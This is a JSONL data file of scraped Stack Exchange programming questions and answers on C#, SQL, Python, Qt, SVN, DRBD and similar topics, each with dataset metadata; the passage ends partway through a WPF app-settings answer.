{"id": "hf_1d9c020dbdd8", "question": "<p>I have created a class to dynamically put together SQL function statements within a project. I have found this class to be pretty useful and would like to incorporate into future projects</p>\n\n<p>namespace connectionClass</p>\n\n<p>{</p>\n\n<pre><code> public class connClass\n\n {      \n\n     NpgsqlConnection conn = new NpgsqlConnection(projectName.Properties.Settings.Default.ConnString);  \n\n }\n</code></pre>\n\n<p>}</p>\n\n<p>I want to be able to dynamically input the project name without having to do it myself for every different class! the connection string will be defined within the properties settings in VS.</p>\n\n<p>Any help would be greatly appreciated:)</p>\n", "question_body": "", "answer": "One option is to have the connection class use the ConfigurationManager to get the name from the App.Config file - but this still means setting the name in there. Something like\n```\n```\nConfigurationManager.AppSettings[\"PROJECT_NAME\"];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.184897"}
{"id": "hf_ef32cc673bcb", "question": "<p>Is there an easy way within C# to check to see if a DateTime instance has been assigned a value or not?</p>\n", "question_body": "", "answer": "The only way of having a variable which hasn't been assigned a value in C# is for it to be a local variable - in which case at compile-time you can tell that it isn't definitely assigned by trying to read from it :)\nI suspect you really want\n```\nNullable<DateTime>\n```\n(or\n```\nDateTime?\n```\nwith the C# syntactic sugar) - make it\n```\nnull\n```\nto start with and then assign a normal\n```\nDateTime\n```\nvalue (which will be converted appropriately). Then you can just compare with\n```\nnull\n```\n(or use the\n```\nHasValue\n```\nproperty) to see whether a \"real\" value has been set.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.243546"}
{"id": "hf_320476213d18", "question": "<p>Yes we're talking about ASCII codes. My appologies I'm not the Delphi dev here.</p>\n", "question_body": "", "answer": "It depends what your definition of conversion is. If you want to map the 127 lowest characters to the Unicode equivalent, you can use an explicit cast. But this creates garbage if the string contains higher characters.\nIf you want mappings like ë -> e and û -> u, you can write your own code. But be aware that there are always characters that can't be converted.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.284032"}
{"id": "hf_37238813af16", "question": "<p>We have two web servers with load balancing. We need to share some files between those servers. These would be uploaded files, session files, various files that php applications create.</p>\n\n<p>We don't want to use a heavyweight, no longer maintained or a commercial solution. We're looking for some lightweight open-source software that would work as shared file system. It should be really easy to set up, must be HA available, must be very fast. It should work with RedHat Linux.</p>\n\n<p>We looked at such solutions like drbd with synchronous file sharing but we can't use them because it can't work on an underlying filesystem like ext3.</p>\n", "question_body": "", "answer": "DRBD is good for syncing over a network (direct crossover connection if at all possible), but EXT3 is not designed to be aware of changes that occur underneath it, at the block device level. For that reason you need a filesystem designed for such purposes such as the Global File System (GFS). To the best of my knowledge Red Hat has support for GFS.\nThe DRBD manual will give you an overview of how to use GFS with DRBD.\nhttp://www.drbd.org/users-guide/ch-gfs.html\nDon't take this as a final answer - I have not researched or used a multi-master system  before, but at least this might give you something to go on.\nIdeally, you would only sync the part of the data that's shared between the webservers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.312218"}
{"id": "hf_a3ae5b5e8039", "question": "<p>I am putting together a build system and wanted to know if there is a reliable way to find out if a checked out SVN folder needs updating (i.e. is it out of sync with the repository).  I want to avoid a nightly build unless something has changed.  I could write a script that parses the results of the <code>svn update</code> command I guess, but I wondered if there as a command that would tell me if an update is actually required?</p>\n", "question_body": "", "answer": "Use the\nshow updates option\nof the status command:\n```\n```\nsvn status -u\n```\n```\nor\n```\n```\nsvn status --show-updates\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.452107"}
{"id": "hf_bf5cf22a6f30", "question": "<p>I have an Informix SQL query which returns a set of rows. It was slightly modified for the new version of the site we've been working on and our QA noticed that the new version returns different results. After investigation we've found that the only difference between two queries were in the number of fields returned.</p>\n\n<p>FROM, WHERE and ORDER BY clauses are identical and the column names in the SELECT part did not affect the results. It was only the number of fields which caused the problem.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Adding\n```\n--+ ORDERED\n```\njoin-order directive fixes the problem by allowing you to get your results in predictable order each time.\nThe links goes to the description of how the directive works\nhttp://publib.boulder.ibm.com/infocenter/idshelp/v10/index.jsp?topic=/com.ibm.sqls.doc/sqls1144.htm\nUse the ORDERED join-order directive\n  to force the optimizer to join tables\n  or views in the order in which they\n  appear in the FROM clause of the\n  query.\n```\n```\nSELECT --+ ORDERED\n   name, title, salary, dname\nFROM dept, job, emp WHERE title = 'clerk' AND loc = 'Palo Alto' \n   AND emp.dno = dept.dno \n   AND emp.job= job.job;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.548952"}
{"id": "hf_2462d5178c41", "question": "<p>I am using iText to generate PDF invoices for a J2EE web application and included on the page is an image read from a URL constructed from the request URL. In the development and test environments this works fine, but in production I get a java.io.IOException:  is not a recognized imageformat.</p>\n\n<p>If I paste the url into my browser then the correct image is returned, however the request is redirected from http to https. In my code if I hard code the redirect URL then the image is displayed correctly. </p>\n\n<p>So it seems that when retrieving the image using com.lowagie.text.Image.getInstance(URL), the redirects on the URL are not being followed. How can I output an image from a redirected URL using iText?</p>\n", "question_body": "", "answer": "Is there a reason you have to get this using the URL??  Do you have to match the image that the url is pointing to?  What if it changes or gets removed?\nI am not sure of your requirement, but it may be easier to save the image from the url and place it somewhere within your project.  Then you can add it to your pdf with:\n```\n```\nImage.getInstance(\"yourimage.gif\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.621496"}
{"id": "hf_c9fa6fd0f5c6", "question": "<p>Okay i am working on someone elses code. They do alot of this:</p>\n\n<pre><code>char description[256];\ndescription[0]=0;\n</code></pre>\n\n<p>I know this would put a \\0 in the first spot of the character array. But is this even a safe way to erase a string?</p>\n\n<p>Also visual studio keeps reporting memory leaks, and i've pretty much tied this done to the strings that are used.</p>\n\n<p>Ps. Yes i know about std::string, yes i use that. This isn't my code.</p>\n", "question_body": "", "answer": "This string is allocated on the stack, so there's no way to free the memory it uses until the function that it's called in returns (when it will happen automatically). Unless you're calling this function recursively*, there's no way this will end up being a memory leak, because once the function returns the space is used for future stack frames. And if you're concerned about security, you should just loop through and zero out the elements of the string.\nIf you want a free()-able memory block, you could do the following and allocate the array on the heap:\n```\n```\nchar *str = malloc(256*sizeof(char)); // str now is a pointer to a 256-char array\n...\n// some code here\n...\nfree(str); // free the memory\n```\n```\n*this is not an acutal memory leak, but some people say \"memory leak\" when they mean \"run out of memory\". In any case, stack space is much more limited than heap space, so you have to watch the size of memory blocks you use there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.668741"}
{"id": "hf_47250ca6f8ac", "question": "<p>Is there an Iterator implementation that merges multiple iterators? </p>\n\n<pre><code>class MergedIterator&lt;T&gt; implements Iterator&lt;T&gt;\n{\n     MergedIterator(Iterator&lt;T&gt;... iters)\n     ....\n}\n</code></pre>\n\n<p>And the next method should move on to <code>iters[1]</code> when <code>!iters[0].hasNext()</code> etc</p>\n", "question_body": "", "answer": "I'd call that a ConcatenatedIterator myself - a MergedIterator should merge the results of several iterators e.g. based on sorting\nNaming aside, I'm sure there'll be an implementation in a 3rd party library somewhere. Just off to check\nGoogle collections\n...\nEDIT: Bingo -\nIterators.concat", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.692841"}
{"id": "hf_cd33cba6786c", "question": "<p>I want to write a function that accepts a parameter which can be either a sequence or a single value. The type of value is str, int, etc., but I <strong>don't</strong> want it to be restricted to a hardcoded list. \nIn other words, I want to know if the parameter X is a sequence or something I have to convert to a sequence to avoid special-casing later. I could do</p>\n\n<p><code>type(X) in (list, tuple)</code></p>\n\n<p>but there may be other sequence types I'm not aware of, and no common base class.</p>\n\n<p>-N.</p>\n\n<p><strong>Edit</strong>: See my \"answer\" below for why most of these answers don't help me. Maybe you have something better to suggest.</p>\n", "question_body": "", "answer": "I think what I would do is check whether the object has certain methods that indicate it is a sequence.  I'm not sure if there is an official definition of what makes a sequence.  The best I can think of is, it must support slicing.  So you could say:\n```\n```\nis_sequence = '__getslice__' in dir(X)\n```\n```\nYou might also check for the particular functionality you're going to be using.\nAs pi pointed out in the comment, one issue is that a string is a sequence, but you probably don't want to treat it as one.  You could add an explicit test that the type is not str.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.716102"}
{"id": "hf_f6d031a39670", "question": "<p>For some reason I can't find a way to get the equivalents of sqlite's interactive shell commands:</p>\n\n<pre><code>.tables\n.dump\n</code></pre>\n\n<p>using the Python sqlite3 API. </p>\n\n<p>Is there anything like that?</p>\n", "question_body": "", "answer": "I'm not familiar with the Python API but you can always use\n```\n```\nSELECT * FROM sqlite_master;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.740215"}
{"id": "hf_3d3c3401cc78", "question": "<p>Is there any way to have a reset button in the SSRS parameter window?</p>\n", "question_body": "", "answer": "No, or i haven't heard how to do it. But you can simulate it.\nOne way to do this is to create a textbox that has an action set to jump to itself. You can or jump to the default values, or jump to itself with some parameters already assigned.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.776309"}
{"id": "hf_9f62c63e0734", "question": "<p>I am writing an unit test for a mvc web application that checks if a returned list of anonymous variables(in a jsonresult) is correct. therefore i need to iterate through that list but i cannot seem to find a way to do so.</p>\n\n<p>so i have 2 methods</p>\n\n<p>1) returns a json result . In that json result there is a property called data. that property is of type object but internally it's a list of anonymous variables</p>\n\n<p>2) the method calls method 1 and checks if the returned jsonresult is ok.</p>\n\n<p>if i run the test and i break the debugger i can hover over the result and see the items in it. i just don't find a way to do so in code.(just using a foreach isn't possible because at the point i need it i'm not in the method that created the anonymous method)</p>\n", "question_body": "", "answer": "I think you mean \"anonymous type\" everywhere you've said \"anonymous variable\" - but you can still iterate over the list with\n```\nforeach\n```\n, just declaring the iteration variable as type\n```\nobject\n```\n:\n```\n```\nforeach (object o in myList)\n{\n    // Not sure what you're actually trying to do in here...\n}\n```\n```\nIf you need to check the contents, you can use the fact that anonymous types override\n```\nToString\n```\nin a useful way. Your test can check the result of projecting each element to a string. Indeed, you could convert your result object to a sequence of strings quite easily:\n```\n```\nvar strings = ((IEnumerable) result).Cast<object>.Select(x => x.ToString());\n```\n```\nThen test\n```\nstrings\n```\npossibly using\n```\nSequenceEqual\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.806035"}
{"id": "hf_99c871e6cd8f", "question": "<p>How do I accomplish text wrapping of table fields in SSRS Report, and proper landscaping when rendering the report to PDF format?</p>\n", "question_body": "", "answer": "To ensure line breaks are inserted correctly, use\n```\n```\n=Replace(Fields!MyField.Value, vbLf, Environment.NewLine)\n```\n```\nSet CanGrow = True.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.830163"}
{"id": "hf_7f8eade615d6", "question": "<p>If any one can help me with Python code:\nIf I input a letter, How can I print all the words start with that word?</p>\n", "question_body": "", "answer": "There are many ways of doing this, e.g.:\n```\n```\nwords = [\"zwei\", \"peanuts\", \"were\", \"walking\", \"down\", \"the\", \"strasse\"]\nletter = \"w\"\noutput = [x for x in words if x[0] == letter]\n```\n```\nThe contents of\n```\noutput\n```\nwill be:\n```\n```\n['were', 'walking']\n```\n```\nSome notes:\nIf the code needs to be\nfast\nyou should put the wordlist in some kind of tree.\nIf you need more flexibility, you should build a regular expression for matching", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.859568"}
{"id": "hf_2c36fb71da71", "question": "<p>I am starting a normal Java SE project and i am planning to use JPA/Hibernate. I was wondering if anyone could enlighten me as to what is considered the best way to interact with Hibernate in this environment (data access layers)?</p>\n", "question_body": "", "answer": "I'm not sure what's considered the best approach to this, but at my workplace, we have based most of our Hibernate interaction on these articles:\nDon't let Hibernate steal your identity\nand\nGeneric Data Access Objects\nThey show you how to make your mapped classes in a smart way, and how to implement a generic DAO that can be reused for any persistent class. This has worked out nicely for us.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.921552"}
{"id": "hf_8d3da8991670", "question": "<p>I need to upload a file using C# from a windows mobile app to a website. It's running PHP as the webservice on the other side, though I guess it really doesn't have to if there's another way to be able to get the file up there. There is no server-side ASP support, however. My problem really isn't the PHP, it's the mobile C# code. </p>\n\n<p>Also, <strong>System.net.WebClient</strong> does NOT exist in the compact framework, so unfortunately, that simple solution is gone. </p>\n\n<p>Let me apologize in advance, because I know this is a relatively commonly asked question, but I just can't seem to find an answer. I've spent an unseemly amount of time on this one particular problem with no solution, so any help at all would be greatly greatly appreciated. Thanks a lot!</p>\n", "question_body": "", "answer": "Have a look at this article\nImproving .NET Compact Framework HTTP Communications using HttpWebRequest and Custom ASP.NET Providers\nin MSDN. It is specific for ASP technology,\nbut the Compact Framework remains the same. Basically it uses an HttpWebRequest with a PUT method. If you aren't allowed to do so in the server, you need to create a sequence of POST requests yourself and handle them accordingly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.967351"}
{"id": "hf_08524c1fd3d1", "question": "<p>Is there a way to query the current DATEFORMAT SQLServer 2005 is currently using with T-SQL?</p>\n\n<p>I have an application that reads pregenerated INSERT-statements and executes them against a database. To make the data to be inserted culture independent I store datetime-values represented in the invariant culture (month/day/year...) . The database server may run under different locales, depending on the system locale (maybe using day/month/year) , so the insert may crash because the datetime cannot be parsed.</p>\n\n<p>I know there are the \"SET LANGUAGE\" and \"SET DATEFORMAT\" statements in T-SQL to set the locale to be used.<br>\nI do not want to make these changes permanent (are they permanent?), so I'm looking for a way to read the DATEFORMAT from the DB, store it, change the format to my liking and reset it to the stored value after the data has been inserted.</p>\n\n<p>Any ideas where to find that value in the server?</p>\n", "question_body": "", "answer": "Set Language and Set DateFormat only affect the current session.  If you Disconnect from the database and connect again, the language and Dateformat are set back to their default values.\nThere is a 'trick' you could use to determine if the DateFormat is m/d/y, or d/m/y.\n```\n```\nSelect DatePart(Month, '1/2/2000')\n```\n```\nThis date is valid either way.  It's Jan 2, or Feb 1.  If this query returns a 1, then you have MDY.  If it returns a 2, you have DMY.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.024620"}
{"id": "hf_1589c2662b65", "question": "<p>I have a program in which the user adds multiple objects to a scene. These objects are all represented as a classes. \nNow I want the user to be able to save the scenario, so it can be loaded again.</p>\n\n<p>Is there some genereic save method I can use, or do I have to write my own that saves the values of all properties and such and then create new objects and insert the saved values into them when the user loads the scenario again.</p>\n\n<p>/P</p>\n\n<p>Edit: Thanks for the quick replys guys. \nI'm actually storing default values for the objects in a SQL compact 3.5 database right now. So if anyone knows how to serialize to SQL, that would be great info.</p>\n\n<p>Edit 2: Thanks again! I'm going to serialize to xml, then store it as a string to the SQL database.</p>\n", "question_body": "", "answer": "Usually one would use a database to do this kind of thing. That's probably the recommended practise.\nHowever if you want a quick and dirty method you can serialise to Xml or Binary with relatively little code. Check out the System.Runtime.Serialization stuff. The trade-off of Xml or Binary is that versioning sucks big time.\nConsider a collection of xml files containing objects from your 1.0 app. If you've added fields to those objects since 1.0 then they wont be compatible with any new 1.1 objects. To get around this you have to write a manual update sequence from type 1.0 -> 1.1. Even worse if you use autodiscovery code (which automatically serialises) such as they xml or binary serializer you may even have to name your objects different names Product1 / Product1.1 / etc, it's either that or write your own serialisation code.\nIf your app starts approaching any level of seriousness I'd say you'll probably want to use a database. SqlLite is very nice and simple for 1 user apps, anything bigger and you'll want a proper RDBMS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.079387"}
{"id": "hf_cd6be69d2299", "question": "<p>Access can open DBF (dBase) files, but instead of physically converting the data into MDB format, it has the ability to link to the DBF table itself. This way the DBF is \"linked\" to the MDB.</p>\n\n<p>Is it possible to attach a DBF file in such manner using C#?</p>\n\n<p><strong>Edit</strong>: I would like to use Jet and avoid using MS Access directly.</p>\n", "question_body": "", "answer": "Perhaps this code from\nHow to quickly copy tables from an ODBC source to MS Access within a C# project\nmight help:\nThe VB function you’ll need to put\n  into MS Access is quite simple, and\n  basically calls the TransferDatabase\n  method by passing it a DSN (pointing\n  to the source database), a source\n  table name and target table name. The\n  code is as follows:\n```\n```\nPublic Function Import(dsnName As String, sourceTableName As String, targetTableName As String)\n‘ if the table already existsm, delete it.\n   On Error GoTo CopyTable\n   DoCmd.DeleteObject acTable, targetTableName\nCopyTable:\n   DoCmd.TransferDatabase _\n   acImport, _\n   \"ODBC Database\", _\n   \"ODBC;DSN=\" + dsnName, _\n   acTable, _\n   sourceTableName, _\n   targetTableName\nEnd Function\n```\n```\nChanging the VBA to read acLink rather than acImport should allow linking.\nAnd then the C# code:\n```\n```\nobject accessObject = null;\ntry\n{\n   accessObject = Activator.CreateInstance(Type.GetTypeFromProgID(\"Access.Application\"));\n\n   accessObject.GetType().InvokeMember(\n      \"OpenCurrentDatabase\",\n      System.Reflection.BindingFlags.Default  System.Reflection.BindingFlags.InvokeMethod,\n      null,\n      accessObject,\n      new Object[] { \"AccessDbase.mdb\" });\n\n   accessObject.GetType().InvokeMember(\n      \"Run\",\n      System.Reflection.BindingFlags.Default  System.Reflection.BindingFlags.InvokeMethod,\n      null,\n      accessObject,\n      new Object[] { \"Import\", \"DSN Name\", \"Source table name\", \"Target table name\" });\n\n   accessObject.GetType().InvokeMember(\n      \"CloseCurrentDatabase\",\n      System.Reflection.BindingFlags.Default  System.Reflection.BindingFlags.InvokeMethod,\n      null,\n      accessObject,\n      null);\n\n   MessageBox.Show(\"Copy succeeded.\");\n}\ncatch (Exception ex)\n{\n   string message = ex.Message;\n   while (ex.InnerException != null)\n   {\n      ex = ex.InnerException;\n      message += \"\\r\\n----\\r\\n\" + ex.Message;\n   }\n   MessageBox.Show(message);\n}\nfinally\n{\n   if (accessObject != null)\n   {\n      System.Runtime.InteropServices.Marshal.ReleaseComObject(accessObject);\n      accessObject = null;\n   }\n}\n```\n```\nEdit re comments\nI cannot help with c#, but here is some VBScript that links a table from\none MDB to another.\n```\n```\nstrLinkFile = \"C:\\Docs\\Link.mdb\"\nstrAccessFile = \"C:\\Docs\\LTD.mdb\"\n\n'Create Link... '\nSet cn = CreateObject(\"ADODB.Connection\")\ncn.Open \"Provider=Microsoft.Jet.OLEDB.4.0;\" & _\n       \"Data Source=\" & strAccessFile & \";\" & _\n       \"Persist Security Info=False\"\n\nSet adoCat = CreateObject(\"ADOX.Catalog\")\nSet adoCat.ActiveConnection = cn\n\nSet adoTbl = CreateObject(\"ADOX.Table\")\n\nSet adoTbl.ParentCatalog = adoCat\nadoTbl.Name = \"LinkTable\"\n\nadoTbl.properties(\"Jet OLEDB:Link Datasource\") = strLinkFile\nadoTbl.properties(\"Jet OLEDB:Link Provider String\") = \"MS Access\"\nadoTbl.properties(\"Jet OLEDB:Remote Table Name\") = \"Table1\"\nadoTbl.properties(\"Jet OLEDB:Create Link\") = True\n\n'Append the table to the tables collection '\nadoCat.Tables.Append adoTbl\n```\n```\nIt is modified from:\nhttp://support.microsoft.com/kb/240222", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.106854"}
{"id": "hf_aa9f59f19115", "question": "<blockquote>\n  <p>This question exists because it has\n  historical significance, but it is not\n  considered a good, on-topic question\n  for this site, so please do not use it\n  as evidence that you can ask similar\n  questions here.</p>\n  \n  <p>More info: <a href=\"https://stackoverflow.com/faq\">https://stackoverflow.com/faq</a></p>\n</blockquote>\n\n<p>Anyone knows if it's possible to find all A records, CNAME or subzone records configured for a domain name?</p>\n\n<p>For example, domain.com:</p>\n\n<pre><code>www IN CNAME domain.com.\nsubdomain1 IN CNAME domain.com.\nsubdomain2 IN CNAME domain.com. \n\nsubdomain1 IN A 123.4.56.78.\nsubdomain2 IN A 123.4.56.79. \n</code></pre>\n\n<p>I want to keep a sub-domain private where I'll run an admin application (it will be password protected and on a special port, but I would prefer to keep it as private as possible).</p>\n", "question_body": "", "answer": "It used to be possible with:\n```\n```\nhost -a -l domain.com\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.143063"}
{"id": "hf_e2938ff14a78", "question": "<p>I wanted to pass <code>calendar1.Selecteddate</code> in a <code>query string</code> from <code>gridview</code> in one page to another <code>gridview</code> (I have written <code>sqlquery</code> in that <code>gridview</code>) in another page. As seen in the below code I tried passing it but this did not work. Can anyone tell me how to pass the selected date from <code>calendar</code> in <code>query string</code></p>\n\n<pre><code>      &lt;asp:HyperLinkField DataNavigateUrlFields=\"LocalIP\" \n                DataNavigateUrlFormatString=\"DailyResults.aspx?\n           Terms={0}&amp;column=LocalIP&amp;    \n               startdate=Calendar1.SelectedDate.Date.Date.ToShortDateString()\n                DataTextField=\"LocalIP\" HeaderText=\"User\" /&gt;\n</code></pre>\n", "question_body": "", "answer": "In the example you've provided it would treat that calendar part of the string as a literal and pass the exact value you have typed.\nIn order to obtain the data using you would need to do something similar to:\n```\n```\n<asp:HyperLinkField DataNavigateUrlFormatString=\"<%=GetSelectedDate()%>....\n```\n```\nwhere this is a method on the code behind class (or you could use a property) that creates the string you intend, including the {0} placeholder for the LocalIP bound data field.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.172848"}
{"id": "hf_bb628535bb76", "question": "<p>I am writing a QT application and I need to embed a terminal (we say,xterm) within a QDialog, like some KDE application (see kdevelop/kate/...).</p>\n\n<p>I've been trying with: \n- QX11EmbedContainer placed into the QLayout of my QDialog \n- QProcess for the program I want to excecute</p>\n\n<p>I expect the QProcess running within the QX11EmbedContainer, but it does not work.</p>\n\n<p>The problem is that I can't put the xterm into the QX11EmbedContainer, the only thing I obtain is an xterm window (unfortunately separated from my QDialog).\nDoes anybody got the same problem?</p>\n", "question_body": "", "answer": "You need to pass the window ID of the container to the xterm.\nIf you look at the example in the Qt help for QX11EmbedContainer,  it just passes the window id to the QProcess. Change this to\n```\n```\nQProcess process(&container);\n QString executable(app.arguments()[1]);\n QStringList arguments;\n arguments << \"-into\" << QString::number(container.winId());\n process.start(executable, arguments);\n```\n```\nwhere \"-into\" has been added to the arguments. From the XTerm man page:\n-into windowId\nGiven an X window identifier (a decimal integer), xterm\n    will reparent its top-level shell\n    widget to that window.  This is  used \n    to embed xterm within other applications.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.206598"}
{"id": "hf_e5ca0f19ea98", "question": "<p>I'm using SQL Server 2005 and the the Dynamic Management View <code>sys.dm_db_missing_index_details</code>. It continues to tell me that Table1 really needs an index on ColumnX and ColumnY, but that index already exists! I've even dropped and re-created it a couple times to no avail.</p>\n\n<p>More specifics: The view lists Column1 under <code>equality_columns</code>.  Column2 is listed under <code>inequality_columns</code>, so the index I have created is:</p>\n\n<pre><code>create index IndexA on Table1 (Column1 asc, Column2 asc)\n</code></pre>\n\n<p>Isn't this exactly the index <code>sys.dm_db_missing_index_details</code> is telling me I need?</p>\n", "question_body": "", "answer": "If you have dropped & created the index, sp_update_stats shouldn't affect it (problem is not with statistics)\nPerhaps it's because of the DMV data is obsolete already\nDoes Actual Execution Plan suggest the Missing Index in SSMS as well?\nFrom\nBooks Online\nInformation returned by\n  sys.dm_db_missing_index_details is\n  updated when a query is optimized by\n  the query optimizer, and is not\n  persisted. Missing index information\n  is kept only until SQL Server is\n  restarted. Database administrators\n  should periodically make backup copies\n  of the missing index information if\n  they want to keep it after server\n  recycling.\nTo determine which missing index\n  groups a particular missing index is\n  part of, you can query the\n  sys.dm_db_missing_index_groups dynamic\n  management view by equijoining it with\n  sys.dm_db_missing_index_details based\n  on the index_handle column.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.228639"}
{"id": "hf_f594ccad1c4f", "question": "<p>I cannot figure out a way to disable a container AND its children in Swing. Is Swing really missing this basic feature?</p>\n\n<p>If I do setEnabled(false) on a container, its children are still enabled.</p>\n\n<p>My GUI structure is pretty complex, and doing a traversion of all elements below the container is not an option. Neither is a GlassPane on top of the container (the container is not the entire window).</p>\n", "question_body": "", "answer": "JXLayer\nmight be what you're looking for, according to\nthis post\n:\nWrap your container with the JXLayer and call\n```\nJXLayer.setLocked(true)\n```\nafter that - all components inside will be disabled\nalt text http://www.java.net/download/javadesktop/blogs/alexfromsun/2007.06.25/LayerDemo.PNG", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:04.252399"}
{"id": "hf_0f9607ea97fb", "question": "<p>Greetings to all!  This is my first question here on stackoverflow.  I have a WPF application that I am writing for the fellow developers in my department, and there are a couple of settings that I need to check for at startup and update if they are not set (one is the location of an executable on the users computer, we all have it, just not in the same place).  So when my app starts up for the first time, I need to pop a filechooser to have them select the location.</p>\n\n<p>What I need to do is write the location of that to the appSettings, but I just can't seem to get it, and I searched Google pretty hard last night trying to find a way to do it.  Most answers I saw involved reading the app.config file as straight XML, and that doesn't seem right.</p>\n\n<p>So, I just need a way to update values in the appSettings for my application.  I can read from them just fine, just haven't figured out how to write to them.  Thanks so much!</p>\n\n<p>James</p>\n", "question_body": "", "answer": "Have you looked into the ConfigurationManager class? It provides a more robust interface to the app.config file and you can do something like this:\n```\n```\nConfiguration oConfig = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None);\noConfig.AppSettings.Settings[\"PreferenceToRemember\"].Value = 